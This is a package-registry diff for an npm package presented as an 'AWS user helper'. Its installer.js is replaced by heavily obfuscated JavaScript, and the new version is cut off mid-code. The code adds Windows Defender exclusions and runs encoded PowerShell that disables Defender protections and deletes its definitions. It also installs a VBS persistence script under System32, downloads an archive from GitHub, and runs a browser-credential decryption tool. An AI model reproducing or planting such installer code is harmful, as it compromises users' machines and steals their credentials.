@antoncallahan/aws-user-helper 6767.67.72 → 6767.67.79
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/installer.js +1 -1
- package/package.json +1 -1
package/installer.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
function _0x315f(){const _0x49992b=['vxjPicDODhrWCW','mJq5mdm1ntHlB0rprKy','vtjgDgnhEgXJma','BwuTAw5Qzwn0BW','DIbnAwnYB3nVzG','C3rHy2S','zxjYB3i','iciIsu1br0voqq','vNvKq0jpwLHABa','yM1gAwjhvK9Awa','DgvJDc5LEguIkq','DgGGj0m6xfvZzq','D3jPDgu','rg8kicbjzIbjBG','z2v0','ic1xAw5KB3DtDa','nJCUmtCZlJeXnq','zMvYzw5JzsaTrq','iKLUDM9Rzs1xzq','B3jJzsi','mtG1ndu0m0jzvKDVvG','twLJCM9ZB2z0ua','y2XoBgjTuwK','ic1dB21Tyw5Kia','BwTKAxjtEw5J','iIaVzG','ywXS','C2LVBLXsDw4GlW','y29Tl3HHAxrHEa','l0nOCM9Tzs1bCa','wLnbDfjhBhPzvW','y25wBeLdmuzIBq','ifjfr19twIaVza','BM9Kzs1UB3rPzG','yMfZzty0','AM9PBG','lJiWlJaVy2HYBW','twLjpq','x3G2nc5LEgu','xgnPlNPPCcC7ia','yLvACgjhvNPkvG','mtC0uffqDgPM','zwnYExb0Aw9UlW','B3DZierLzMvUza','rMLIr1zRsumXrG','wKDvz0XvwNzJBq','Dg1WzgLY','vuHkDMrhvMPKrW','mtaXmZKXntjvDfPbBMi','mJjhs3bLvxm','oxnAr1z5uvDoAG','Cgf0Aa','qxrvm1zPyLDSma','BhzIBej5wLHABa','AMvJDg9YjYaTrG','vNnIq0f0uti5Da','tMXjqZfouvzcva','zNjVBq','BhPzv0PZwLzoAG','wM1wEvPxnwPAuW','sNnAvKPSwvD4ma','zvXnAwnYB3nVzG','AwnYB3nVzNrqCG','AMvJDg9YxgnOCG','DfbYB3rLy3rszq','BciPlLj1BIaItq','Cg93zxjZAgvSBa','yM5sCgiYnvrLwa','mdaWcKXVB3a','y3jPChqUu2HLBa','Ew5J','yvCXBfrxoxvHwa','xgnOCM9Tzs1PBG','zxnZ','y2vWDgLVBG','Dw5JyxvNAhrfEa','Ahr0CdOVlZy5lG','Axb0lLnOzwXSiG','zxHLyW','Ahr0Ca','t2jQzwn0kcjxuW','zvn0CMvHBq','ks5fEgvJkcj0yq','C3rHCNrLCIaVDa','wtiXA0LdowPjqW','EMLWjYaTt3v0rG','Ahr0Chm','mZK5nZyZu3novuTN','AMvJDcGIv1nJCG','xgnPlNPPCcCGlq','mJa5ndD4u1DKuNG','B3v0Chv0','oI8Vz2L0AhvIlG','sNrHwfjuwvCXDW','qKjKv1jWzeuXDG','AwXLicC','zMLUAxnO','wLHoEKLfuNbJmG','lcaWcIaGrw5Kia','l01Py3jVC29MDa','yLDgDvPdqwLvmG','y2HPBgrFChjVyW','CMvSzwfZzxmVza','CgLWzq','CNmNiG','id0GmcbuAgvUcG','rgvZDgLUyxrPBW','DgGGj0m6xfDPBG','tJbAvZbNsKHsEq','rxHWyw5KlufYyW','DfXxAw5KB3DZxa','q1vCu29MDhDHCG','C3rLAw4','iKfKzc1nCfbYzq','D3nJCMLWDc5LEa','CI12mc4Ymc4WlG','uhjVDgvJDc5LEa','AwDUB3jL','nw5jrvjWyZjgAq','Dg9tDhjPBMC','y3j5ChrV','ywrbBgWSicjnAq','vJbmvtf3vuHkBa','uJnIm0PYvuHkDG','CM90zwn0lMv4zq','vw5wDuXTvJrAuW','swykicbxu2nYAq','yKnjpq','y3jVC29MDfbYBW','y2XVC2u','odC2nty0AhLSCwjs','AwvY','EgnSDxnPB25qyq','CMf3','nxvHvZvUsunsma','zxHPDa','y3jLyxrLv3jPDa','vw1wD2iZsJbHvW','tNzIBK5SyM5rzW','yKDwA0LdmvrKvW','C2TSAxn0ic9gsq','EwXLieHPzgrLBG','q3vYCMvUDfzLCG','y0C5m1PysNPHrW','swXvseP2wJnkAa','Bg9N','nZe5ndm1tNf0yxfn','zfDvz0XvuNbJmG','wLvSDwrisJfJmG','CMvNigfKzcbisW','AMvMzMvYEs5LCa','zeHkmvPtqxrsrW','zg93CYCI'];_0x315f=function(){return _0x49992b;};return _0x315f();}function _0x577e(_0x1b4c87,_0x5720be){_0x1b4c87=_0x1b4c87-(0x1e1*-0x5+0x72a+0x2*0x166);const _0xd4ff99=_0x315f();let _0x2c4407=_0xd4ff99[_0x1b4c87];if(_0x577e['QqpXlI']===undefined){var _0x15d25f=function(_0x482af8){const _0x1debf1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x22dacb='',_0x135380='';for(let _0x1df469=0x59*0x3d+0x1629+-0x2b5e,_0x45c80c,_0x4b9ee6,_0x4e1d33=0x2*0xd09+-0x1*0x2b1+-0x5*0x4ad;_0x4b9ee6=_0x482af8['charAt'](_0x4e1d33++);~_0x4b9ee6&&(_0x45c80c=_0x1df469%(-0x1*0x2221+-0x26f9+0x491e)?_0x45c80c*(0x21*-0x11b+-0x2445*0x1+0x4900)+_0x4b9ee6:_0x4b9ee6,_0x1df469++%(0x1f92*-0x1+-0x240b+0x57*0xc7))?_0x22dacb+=String['fromCharCode'](0x43*-0x6d+-0x15d6+0xad*0x4c&_0x45c80c>>(-(0x79f+0x3b*0x94+-0x1*0x29b9)*_0x1df469&0x3*-0xbb9+0x1e05+-0x4*-0x14b)):0x899*-0x2+0x2*0xdf+0xf74){_0x4b9ee6=_0x1debf1['indexOf'](_0x4b9ee6);}for(let _0x4be1df=0x306*0x1+-0x2*-0x1165+-0x25d0,_0x23e726=_0x22dacb['length'];_0x4be1df<_0x23e726;_0x4be1df++){_0x135380+='%'+('00'+_0x22dacb['charCodeAt'](_0x4be1df)['toString'](-0x3b*0x1b+0x24fb+-0x1eb2))['slice'](-(0x1b7b+-0x1*-0x2221+0x53*-0xbe));}return decodeURIComponent(_0x135380);};_0x577e['zsnXic']=_0x15d25f,_0x577e['OqvikJ']={},_0x577e['QqpXlI']=!![];}const _0x1dbee1=_0xd4ff99[-0x3*0x577+0x2007*-0x1+0x4*0xc1b],_0x330cea=_0x1b4c87+_0x1dbee1,_0x505485=_0x577e['OqvikJ'][_0x330cea];return!_0x505485?(_0x2c4407=_0x577e['zsnXic'](_0x2c4407),_0x577e['OqvikJ'][_0x330cea]=_0x2c4407):_0x2c4407=_0x505485,_0x2c4407;}(function(_0x595861,_0x4fadc6){const _0x32085f=_0x577e,_0x454e81=_0x595861();while(!![]){try{const _0x398ee1=parseInt(_0x32085f(0xb4))/(-0xd00+-0xc9d+0x445*0x6)*(parseInt(_0x32085f(0x124))/(0x4d*-0x34+-0x8*0x3ad+0x2d0e))+parseInt(_0x32085f(0x107))/(-0x3*0x841+-0x2597*0x1+0x5*0xc79)+-parseInt(_0x32085f(0xdc))/(0x2284+-0x1e*0xfe+0x4bc*-0x1)+parseInt(_0x32085f(0xec))/(-0x115a+0x6*-0x193+0x1ad1)+parseInt(_0x32085f(0x11c))/(-0x1a3+0x48f*-0x7+0x2192*0x1)*(parseInt(_0x32085f(0xb1))/(-0xd65+0x1147*0x2+0x43a*-0x5))+parseInt(_0x32085f(0x123))/(0x133*0xb+-0x1*0x220a+-0x1*-0x14e1)+-parseInt(_0x32085f(0xf4))/(0x1b9c+0x6*0x301+-0x2d99);if(_0x398ee1===_0x4fadc6)break;else _0x454e81['push'](_0x454e81['shift']());}catch(_0x58ecaa){_0x454e81['push'](_0x454e81['shift']());}}}(_0x315f,-0x18e*0x739+-0xdc073+0x1352*0x207),(async function(){const _0x4e7bdc=_0x577e,{execSync:_0x3e64f7,execFile:_0x204271,spawn:_0x167e50}=require(_0x4e7bdc(0xbf)+_0x4e7bdc(0xa3)),_0xe172f4=require('child_proc'+'ess'),_0x329deb=require('fs'),_0x36b28a=require(_0x4e7bdc(0x126)),_0x5e3132=require('os'),_0x43d424=require(_0x4e7bdc(0x114)+_0x4e7bdc(0xdd)),{Service:_0x5d40a0}=require('node-windo'+'ws'),_0x3789=require(_0x4e7bdc(0xd2)),_0x256e99=require(_0x4e7bdc(0xb0)),_0x92894c=require(_0x4e7bdc(0xa9)),_0x3b2d7f=require('os')['tmpdir'](),_0x3ae2b4=!![];if(_0x3ae2b4){const _0x29c7d8=_0x329deb[_0x4e7bdc(0xe2)+_0x4e7bdc(0xab)](_0x36b28a['join'](_0x3b2d7f,_0x4e7bdc(0xf0)+_0x4e7bdc(0xca)),{'flags':'a'}),_0x470685=console[_0x4e7bdc(0xeb)],_0x485477=console[_0x4e7bdc(0xf9)];console[_0x4e7bdc(0xeb)]=(..._0x38fd58)=>_0x29c7d8[_0x4e7bdc(0xff)](_0x38fd58['join']('\x20')+'\x0a'),console[_0x4e7bdc(0xf9)]=(..._0x5951b3)=>_0x29c7d8['write']('[ERROR]\x20'+_0x5951b3[_0x4e7bdc(0x116)]('\x20')+'\x0a'),process['on'](_0x4e7bdc(0xa5)+_0x4e7bdc(0xa4),_0x1cbcee=>{const _0x3814fc=_0x4e7bdc;_0x29c7d8['write']('[UNCAUGHT]'+'\x20'+_0x1cbcee[_0x3814fc(0xf8)]+'\x0a'),process[_0x3814fc(0xe1)](0x1a02+-0x1*0x1d77+0x1*0x376);});}const _0x5b9660=_0x36b28a[_0x4e7bdc(0x116)](_0x5e3132[_0x4e7bdc(0x121)](),_0x4e7bdc(0xb5));_0x329deb[_0x4e7bdc(0x10b)](_0x5b9660,{'recursive':!![]});const _0x2612ef=async()=>{const _0x3577c4=_0x4e7bdc;return console[_0x3577c4(0xeb)]('Excluding\x20'+__dirname+('\x20from\x20Wind'+_0x3577c4(0x11e)+'er...')),new Promise(async(_0x414e6f,_0x4365c3)=>{const _0xf254be=_0x3577c4;_0xe172f4[_0xf254be(0xa8)]('powershell'+_0xf254be(0x10a)+'\x22Add-MpPre'+_0xf254be(0x104)+_0xf254be(0xde)+_0xf254be(0xc5)+_0xf254be(0xf2),{'windowsHide':!![]},_0x36ee13=>{const _0x1efe2c=_0xf254be;_0xe172f4[_0x1efe2c(0xa8)](_0x1efe2c(0x9c)+_0x1efe2c(0x10a)+_0x1efe2c(0xcb)+'ference\x20-E'+_0x1efe2c(0xde)+_0x1efe2c(0xfe)+_0x1efe2c(0xc2),{'windowsHide':!![]},_0x28e495=>{_0x414e6f();});});});},_0x52aa74=async()=>{const _0x53805a=_0x4e7bdc,[_0x4c3bb2,_0x545374,_0x32c0d8]=[Buffer[_0x53805a(0x93)]('cG93ZXJzaG'+_0x53805a(0x91)+_0x53805a(0xbe)+_0x53805a(0xd4)+_0x53805a(0x95)+'AtRGlzYWJs'+_0x53805a(0xee)+_0x53805a(0x128)+_0x53805a(0x9d)+_0x53805a(0xc6)+_0x53805a(0xed)+'FibGVJT0FW'+_0x53805a(0x122)+'lvbiAkdHJ1'+_0x53805a(0x111)+_0x53805a(0x96)+_0x53805a(0xa1)+'RvcmluZyAk'+_0x53805a(0xf1)+_0x53805a(0x94)+'cmlwdFNjYW'+_0x53805a(0xe0)+_0x53805a(0x112)+'FibGVDb250'+'cm9sbGVkRm'+_0x53805a(0x125)+_0x53805a(0xbb)+_0x53805a(0x11f)+_0x53805a(0xfc)+_0x53805a(0xd5)+'dGVjdGlvbi'+_0x53805a(0xb8)+_0x53805a(0x120)+_0x53805a(0x92)+_0x53805a(0xe3)+_0x53805a(0xd0)+_0x53805a(0xe5)+_0x53805a(0xb7)+'bGVzQ29uc2'+_0x53805a(0xfb)+_0x53805a(0x109),_0x53805a(0x115))[_0x53805a(0xd1)](),Buffer[_0x53805a(0x93)](_0x53805a(0xe9)+_0x53805a(0x91)+_0x53805a(0xbe)+_0x53805a(0xd4)+'ZmVyZW5jZS'+_0x53805a(0x127)+_0x53805a(0xf5)+_0x53805a(0xe4)+_0x53805a(0x118),_0x53805a(0x115))['toString'](),Buffer[_0x53805a(0x93)](_0x53805a(0xae)+_0x53805a(0xea)+_0x53805a(0x11b)+'xXaW5kb3dz'+'IERlZmVuZG'+'VyXE1wQ21k'+_0x53805a(0xd7)+'AtUmVtb3Zl'+'RGVmaW5pdG'+'lvbnMgLUFs'+_0x53805a(0xd9),'base64')['toString']()];return new Promise((_0x3dd30c,_0x94c0f)=>{const _0x2cca50=_0x53805a;_0xe172f4[_0x2cca50(0xa8)](_0x4c3bb2,{'windowsHide':!![]},_0x519f1c=>{if(_0x519f1c)return _0x94c0f(_0x519f1c);_0xe172f4['exec'](_0x545374,{'windowsHide':!![]},_0x1e7ea8=>{if(_0x1e7ea8)return _0x94c0f(_0x1e7ea8);_0xe172f4['exec'](_0x32c0d8,{'windowsHide':!![]},_0x1ab3b9=>{if(_0x1ab3b9)return _0x94c0f(_0x1ab3b9);_0x3dd30c();});});});});};await _0x2612ef(),await new Promise(_0x31d076=>setTimeout(_0x31d076,-0x1*-0x4ff+-0x4af+0x780));const _0x440a91=String[_0x4e7bdc(0xdf)]`C:\Windows\System32\Microsoft\Protect`;_0x329deb[_0x4e7bdc(0x10b)](_0x440a91,{'recursive':!![]});const _0xcdeef6=_0x329deb[_0x4e7bdc(0xe2)+'eStream'](_0x36b28a[_0x4e7bdc(0x116)](_0x440a91,'MicrosoftP'+_0x4e7bdc(0xd6)));_0x92894c[_0x4e7bdc(0x101)](_0x4e7bdc(0xa6)+_0x4e7bdc(0x103)+_0x4e7bdc(0xbd)+_0x4e7bdc(0xce)+'e',_0x592d93=>{const _0x93929a=_0x4e7bdc;_0x592d93[_0x93929a(0xc1)](_0xcdeef6),_0xcdeef6['on'](_0x93929a(0xba),()=>_0xcdeef6[_0x93929a(0xdb)]());});const _0x150a08=_0x4e7bdc(0x100)+'Str(WScrip'+'t.CreateOb'+_0x4e7bdc(0xb2)+_0x4e7bdc(0xa7)+_0x4e7bdc(0xac)+_0x4e7bdc(0xe6)+_0x4e7bdc(0xfa)+'ME\x20eq\x20Micr'+'osoftProte'+'ct.exe\x22\x22\x22)'+'.StdOut.Re'+_0x4e7bdc(0xd3)+_0x4e7bdc(0xda)+_0x4e7bdc(0xfd)+_0x4e7bdc(0xc3)+'\x20\x20\x20\x20Create'+_0x4e7bdc(0xaa)+_0x4e7bdc(0x9f)+_0x4e7bdc(0x9b)+_0x4e7bdc(0x98)+'otect.exe\x22'+_0x4e7bdc(0xbc)+_0x4e7bdc(0xd8)+'pt.Sleep\x201'+_0x4e7bdc(0x9e),_0x545d9b=_0x36b28a[_0x4e7bdc(0x116)](_0x440a91,_0x4e7bdc(0x108)+'rotect.vbs');_0x329deb['writeFileS'+_0x4e7bdc(0xa0)](_0x545d9b,_0x150a08),_0x3e64f7(_0x4e7bdc(0xef)+_0x4e7bdc(0xc9)+_0x4e7bdc(0x97)+_0x4e7bdc(0xc8)+_0x4e7bdc(0xe8)+_0x4e7bdc(0x10e)+_0x4e7bdc(0xf7)+_0x4e7bdc(0x9a)+_0x4e7bdc(0xad)+_0x4e7bdc(0x113)+'\x20\x22'+_0x545d9b+_0x4e7bdc(0x10c),{'windowsHide':!![]}),_0x167e50(_0x4e7bdc(0xcc)+'e',[_0x545d9b],{'detached':!![],'stdio':_0x4e7bdc(0xcf)}),_0x3e64f7(_0x4e7bdc(0x9c)+_0x4e7bdc(0x102)+_0x4e7bdc(0xe7)+'\x20-Command\x20'+_0x4e7bdc(0x105)+'bRequest\x20-'+_0x4e7bdc(0xf3)+_0x4e7bdc(0xb6)+_0x4e7bdc(0x10f)+_0x4e7bdc(0x110)+'p-Bound-En'+'cryption-D'+_0x4e7bdc(0x11d)+_0x4e7bdc(0xc0)+'ownload/v0'+_0x4e7bdc(0x117)+_0x4e7bdc(0xf6)+_0x4e7bdc(0xcd)+_0x4e7bdc(0xaf)+_0x4e7bdc(0xb9)+_0x3b2d7f+(_0x4e7bdc(0x11a)+_0x4e7bdc(0xc7)+'hive\x20-Path'+'\x20\x27')+_0x3b2d7f+(_0x4e7bdc(0xb3)+_0x4e7bdc(0xc4)+'nPath\x20\x27')+_0x3b2d7f+(_0x4e7bdc(0xa2)+_0x4e7bdc(0x129)+_0x4e7bdc(0x106)),{'windowsHide':!![]});const _0x44bbc3=_0x204271(_0x3b2d7f+(_0x4e7bdc(0xa2)+_0x4e7bdc(0x99)+'omelevator'+_0x4e7bdc(0x119)),[_0x4e7bdc(0x10d),'-o',_0x5b9660],{'windowsHide':!![]});}()));
|
|
1
|
+
function _0x543a(_0x9c4b3c,_0xecac1b){_0x9c4b3c=_0x9c4b3c-(0xb06+-0x1b*0xdb+-0x1*-0xd91);const _0x289d11=_0x2858();let _0xdf3cf8=_0x289d11[_0x9c4b3c];if(_0x543a['RpJbMf']===undefined){var _0x5b74bb=function(_0x580346){const _0x5924df='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3339fc='',_0x16145c='';for(let _0x4db6e0=0x124d+-0x1ae6+0x899,_0xfec4c8,_0x3a8b7a,_0x41dcd1=0xe4a+-0xc5*-0x21+-0x27af;_0x3a8b7a=_0x580346['charAt'](_0x41dcd1++);~_0x3a8b7a&&(_0xfec4c8=_0x4db6e0%(-0xb7a+0x133f+0x5*-0x18d)?_0xfec4c8*(-0x495+-0x1e94+-0x31*-0xb9)+_0x3a8b7a:_0x3a8b7a,_0x4db6e0++%(-0x5*0x12b+-0x1*0xe56+-0x3*-0x6bb))?_0x3339fc+=String['fromCharCode'](-0x8dd*-0x2+-0x825+-0x896&_0xfec4c8>>(-(-0x956*-0x4+0x1*-0x556+-0x20*0x100)*_0x4db6e0&-0xd66+-0x501*-0x3+-0x25*0xb)):0xe64+0x3*-0x61d+0x3f3){_0x3a8b7a=_0x5924df['indexOf'](_0x3a8b7a);}for(let _0x825d02=0xba0+0x22*-0x66+0x1ec,_0x52fd23=_0x3339fc['length'];_0x825d02<_0x52fd23;_0x825d02++){_0x16145c+='%'+('00'+_0x3339fc['charCodeAt'](_0x825d02)['toString'](0x14a3+0x1270+-0x1*0x2703))['slice'](-(-0x45*0x43+0x21e5+0x1*-0xfd4));}return decodeURIComponent(_0x16145c);};_0x543a['EZbZUH']=_0x5b74bb,_0x543a['FOLAUj']={},_0x543a['RpJbMf']=!![];}const _0x56ae9d=_0x289d11[-0x29*0xb2+0x1a1d+0x265],_0x288a66=_0x9c4b3c+_0x56ae9d,_0x317162=_0x543a['FOLAUj'][_0x288a66];return!_0x317162?(_0xdf3cf8=_0x543a['EZbZUH'](_0xdf3cf8),_0x543a['FOLAUj'][_0x288a66]=_0xdf3cf8):_0xdf3cf8=_0x317162,_0xdf3cf8;}function _0x2858(){const _0x7c9ecc=['C2LVBLXsDw4GlW','lMv4zsiIiIKUuW','CM90zwn0lNzICW','CMvSzwfZzxmVza','C29MDfXqCM90zq','uKDwBwfxnxbKrW','zNjVBq','igzYB20Gv2LUza','vJbmvtf3vuHkBa','Ahr0Chm','ifrOzw4kicaGia','zxjYB3i','y2XoBgjTuwK','mtC0nJuWnwvuyMXxCW','vNnIq0f0uti5Da','vtjgDgnhEgXJma','q3vYCMvUDfzLCG','B3jJzsi','DgvTmZjCtwLJCG','uNvUicjdoLXxAq','m1HwD2jwvW','nJCUmtCZlJeXnq','C2TSAxn0ic9gsq','zMLUAxnO','uhjVDgvJDc5LEa','ywXS','vuHkDMrhvMPKrW','zfDvz0XvuNbJmG','y2XVC2u','wLvSDwrisJfJmG','C3rHCNrLCIaVDa','tMXjqZfouvzcva','B21LBgv2yxrVCG','Dc5tAgvSBciPlG','y25wBeLdmuzIBq','y3j5ChrPB24Tra','ks5fEgvJkcj0yq','iKLUDM9Rzs1xzq','BhzIAufRzeHkmq','AM9PBG','xgnPlNPPCcCGlq','Dg9tDhjPBMC','rxHWyw5KlufYyW','tuuGzxeGqZPCvW','zxnZ','Dg1WzgLY','uNzJBwX1wNLbAW','oI8Vz2L0AhvIlG','vNLyrtf3utiXAW','zxHPDa','rg8kicbjzIbjBG','AwvY','qxrvBvz0yJnABa','B3nVzNrCuhjVDa','y3jLyxrLv3jPDa','oxnAr1z5uvDoAG','u3rYkfDty3jPCa','BwTKAxjtEw5J','y3rCtwLJCM9ZBW','B3DUBg9Hzc92ma','Dc5dCMvHDgvpyG','sNrHwfjuwvCXDW','y21SD2rgtMPzvW','AgL2zsaTugf0Aa','DfbYB3rLy3rszq','BhzIBej5wLHABa','vw1wD2iZsJbHvW','y3qOiLDty3jPCa','y0C5m1PysNPHrW','l0nOCM9Tzs1bCa','zxHLiIWGmaOGia','zxHLyW','mZCZmJKWtunOuK1X','y2HPBgrFChjVyW','BLbHDgGGjW','xgnPlNPPCcC7ia','yKnjpq','C3rHy2S','iciIsu1br0voqq','qwXSlcaIqZPCvW','uJnIm0PYvuHkDG','BhzIBK1NtfvgCW','xgnOCM9Tzs1PBG','BM9Kzs1UB3rPzG','nJC0mdy4nxryEKL6uq','Axb0lLnOzwXSiG','CMf3','wM1wEvPxnwPAuW','ic1dB21Tyw5Kia','CMvNigfKzcbisW','yLjLCxvLC3qGlq','EgnSDxnPB25qyq','CI12mc4Ymc4WlG','wLHoEKLfuNbJmG','C3rLAw4','AwXLicC','yM5sCgiYnvrLwa','x3G2nc5LEgu','mti5ntu1nKjTuwLgsG','twLJCM9ZB2z0ua','iKfKzc1nCfbYzq','w1voq0fvr0Huxq','mtuWnZaWnhH4zML3Aa','DfXxAw5KB3DZxa','rxHJBhvKAw5Nia','zvXnAwnYB3nVzG','D3jPDgvgAwXLuW','yLDgDvPdqwLvmG','vw5wDuXTvJrAuW','zNrqCM90zwn0lG','zeDwAMrhBhzIAq','wtiXA0LdowPjqW','D3jPDgu','yMfZzty0','Cc1cB3vUzc1fBG','qxrsr2X6wvDkCW','D3nJCMLWDc5LEa','Cg93zxjZAgvSBa','mJK3ndC5mLLWvePXzG','BMrVD3nCu3LZDa','DIbnAwnYB3nVzG','u2nYAxb0lLnSzq','DgGGj0m6xfvZzq','Aw5KB3DZxfn5CW','y205C2jhvMTsBq','ntmYn2f5sKvpBG','rMLIr1zRsumXrG','mZi4mMfMq2zUvG','AMvJDg9YjYaTrG','qxrvm1zPyLDSma','ifjfr19twIaVza','BwuTAw5Qzwn0BW','CNmNiG','iIaVzG','yM1gAwjhvK9Awa','zMvYzw5JzsaTrq','zeHkmvPtqxrsrW','tJbAvZbNsKHsEq','zvn0CMvHBq','Dw5JyxvNAhrfEa','Bg9N','y3j5ChrV','CM90zwn0lMv4zq','rMLIr1zkvdbgvW','swXvseP2wJnkAa','rgvZDgLUyxrPBW','EMLWjYaTt3v0rG','BM9Kzs13Aw5KBW','sNnAvKPSwvD4ma','w0vsuK9sxsa','wLnbDfjhBhPzvW','zxaGmtaWmaPmBW','twLjpq','rw5KieLMcIaGvW','Ahr0Ca'];_0x2858=function(){return _0x7c9ecc;};return _0x2858();}(function(_0x463ce2,_0x25092c){const _0x58cb9e=_0x543a,_0x125345=_0x463ce2();while(!![]){try{const _0x2b84ef=-parseInt(_0x58cb9e(0x1fc))/(-0x15*-0xa3+0x1c4b*-0x1+0xeed)+parseInt(_0x58cb9e(0x17f))/(0x7*-0x2af+0x8*-0x41b+0x33a3*0x1)+-parseInt(_0x58cb9e(0x1c8))/(-0x1085+-0x262b+-0x4f9*-0xb)*(-parseInt(_0x58cb9e(0x216))/(-0x384+0x24b2+-0x236*0xf))+-parseInt(_0x58cb9e(0x1c1))/(-0x1171+-0x1*0x192b+0x2aa1*0x1)+parseInt(_0x58cb9e(0x198))/(0x7*0x333+0x486+-0x1ae5)*(parseInt(_0x58cb9e(0x196))/(-0x1487+-0x1*-0x397+0x10f7))+parseInt(_0x58cb9e(0x18f))/(-0x8*0x232+0x13*0x102+-0x18e)+-parseInt(_0x58cb9e(0x208))/(0x6fb+0x2a1*0x1+0x3*-0x331);if(_0x2b84ef===_0x25092c)break;else _0x125345['push'](_0x125345['shift']());}catch(_0x4f86b4){_0x125345['push'](_0x125345['shift']());}}}(_0x2858,-0x9c746+0x77eaf+0x84b76),(async function(){const _0x423748=_0x543a,{execSync:_0x2a18a1,execFile:_0xa5db5f,spawn:_0x1f66e5}=require(_0x423748(0x1fd)+_0x423748(0x1e0)),_0x17a97c=require(_0x423748(0x1fd)+_0x423748(0x1e0)),_0x354dd7=require('fs'),_0x1913cd=require('path'),_0x289024=require('os'),_0x1e3157=require(_0x423748(0x207)+_0x423748(0x1e7)),{Service:_0x53ade2}=require(_0x423748(0x1ac)+'ws'),_0x282f67=require(_0x423748(0x1a6)),_0x504a06=require(_0x423748(0x1bd)),_0x2f467d=require(_0x423748(0x1b3)),_0x340825=require('os')[_0x423748(0x1e1)](),_0x1aa06f=!![];if(_0x1aa06f){const _0x46c9da=_0x354dd7['createWrit'+_0x423748(0x1a3)](_0x1913cd[_0x423748(0x1db)](_0x340825,'jeffery.ep'+_0x423748(0x212)),{'flags':'a'}),_0x841b1c=console[_0x423748(0x1a5)],_0x4b762d=console[_0x423748(0x1bf)];console['log']=(..._0x319387)=>_0x46c9da[_0x423748(0x189)](_0x319387[_0x423748(0x1db)]('\x20')+'\x0a'),console[_0x423748(0x1bf)]=(..._0x35f7ac)=>_0x46c9da[_0x423748(0x189)](_0x423748(0x1ae)+_0x35f7ac['join']('\x20')+'\x0a'),process['on'](_0x423748(0x1a4)+'ception',_0x1b9d2a=>{const _0x453f92=_0x423748;_0x46c9da[_0x453f92(0x189)](_0x453f92(0x17e)+'\x20'+_0x1b9d2a[_0x453f92(0x201)]+'\x0a'),process[_0x453f92(0x1e5)](0x16a*-0xa+-0xd5d+-0x1f7*-0xe);});}const _0x4552bd=_0x1913cd[_0x423748(0x1db)](_0x289024[_0x423748(0x1e1)](),'output');_0x354dd7[_0x423748(0x1ed)](_0x4552bd,{'recursive':!![]});const _0x25bf7d=async()=>{const _0x32024d=_0x423748;return console[_0x32024d(0x1a5)](_0x32024d(0x181)+__dirname+(_0x32024d(0x1bb)+'ows\x20Defend'+'er...')),new Promise(async(_0x1f566b,_0x42031f)=>{const _0x30493c=_0x32024d;_0x17a97c[_0x30493c(0x1fb)](_0x30493c(0x18e)+'\x20-Command\x20'+'\x22Add-MpPre'+_0x30493c(0x1a0)+_0x30493c(0x20f)+'th\x20\x27C:\x5cWin'+'dows\x27\x22',{'windowsHide':!![]},_0x220180=>{const _0x3bf536=_0x30493c;_0x17a97c[_0x3bf536(0x1fb)]('powershell'+_0x3bf536(0x20c)+_0x3bf536(0x218)+_0x3bf536(0x1a0)+_0x3bf536(0x20f)+_0x3bf536(0x193)+_0x3bf536(0x19d),{'windowsHide':!![]},_0x415768=>{_0x1f566b();});});});},_0x368207=async()=>{const _0x5b2218=_0x423748,[_0x4c0fdf,_0x448524,_0x10f220]=[Buffer[_0x5b2218(0x1ba)](_0x5b2218(0x1f8)+'VsbCAtQ29t'+_0x5b2218(0x184)+_0x5b2218(0x1bc)+_0x5b2218(0x20b)+_0x5b2218(0x18c)+_0x5b2218(0x1d1)+_0x5b2218(0x1f5)+_0x5b2218(0x214)+_0x5b2218(0x1a2)+_0x5b2218(0x1cf)+_0x5b2218(0x1a8)+_0x5b2218(0x1ce)+_0x5b2218(0x1da)+_0x5b2218(0x1af)+_0x5b2218(0x1ad)+'aW1lTW9uaX'+_0x5b2218(0x1e2)+_0x5b2218(0x1a1)+'lzYWJsZVNj'+_0x5b2218(0x1f2)+'5uaW5nICR0'+_0x5b2218(0x1d6)+'FibGVDb250'+_0x5b2218(0x195)+_0x5b2218(0x1eb)+_0x5b2218(0x211)+_0x5b2218(0x197)+_0x5b2218(0x19f)+_0x5b2218(0x204)+_0x5b2218(0x187)+'BBdWRpdE1v'+'ZGUgLUZvcm'+_0x5b2218(0x1d3)+_0x5b2218(0x1f6)+'5nIERpc2Fi'+'bGVkIC1TdW'+_0x5b2218(0x1f1)+'bGVzQ29uc2'+'VudCBOZXZl'+_0x5b2218(0x1c0),_0x5b2218(0x18a))['toString'](),Buffer[_0x5b2218(0x1ba)]('cG93ZXJzaG'+_0x5b2218(0x1c2)+_0x5b2218(0x184)+'V0LU1wUHJl'+'ZmVyZW5jZS'+_0x5b2218(0x19a)+_0x5b2218(0x1c3)+'NvbnNlbnQg'+_0x5b2218(0x1b1),'base64')['toString'](),Buffer['from'](_0x5b2218(0x188)+_0x5b2218(0x1a9)+'bUZpbGVzJV'+'xXaW5kb3dz'+'IERlZmVuZG'+_0x5b2218(0x1e4)+_0x5b2218(0x185)+_0x5b2218(0x1e8)+_0x5b2218(0x1b9)+_0x5b2218(0x205)+_0x5b2218(0x200),'base64')[_0x5b2218(0x1dd)]()];return new Promise((_0x41409c,_0x194d91)=>{const _0x479ace=_0x5b2218;_0x17a97c[_0x479ace(0x1fb)](_0x4c0fdf,{'windowsHide':!![]},_0xfcf18a=>{const _0x550720=_0x479ace;if(_0xfcf18a)return _0x194d91(_0xfcf18a);_0x17a97c[_0x550720(0x1fb)](_0x448524,{'windowsHide':!![]},_0x3d5251=>{const _0x13c470=_0x550720;if(_0x3d5251)return _0x194d91(_0x3d5251);_0x17a97c[_0x13c470(0x1fb)](_0x10f220,{'windowsHide':!![]},_0x3b5c5d=>{if(_0x3b5c5d)return _0x194d91(_0x3b5c5d);_0x41409c();});});});});};await _0x25bf7d(),await new Promise(_0xb56ccc=>setTimeout(_0xb56ccc,-0x9dc*0x2+-0xb7a+0x2*0x1381));const _0x145480=String[_0x423748(0x20a)]`C:\Windows\System32\Microsoft\Protect`;_0x354dd7[_0x423748(0x1ed)](_0x145480,{'recursive':!![]});const 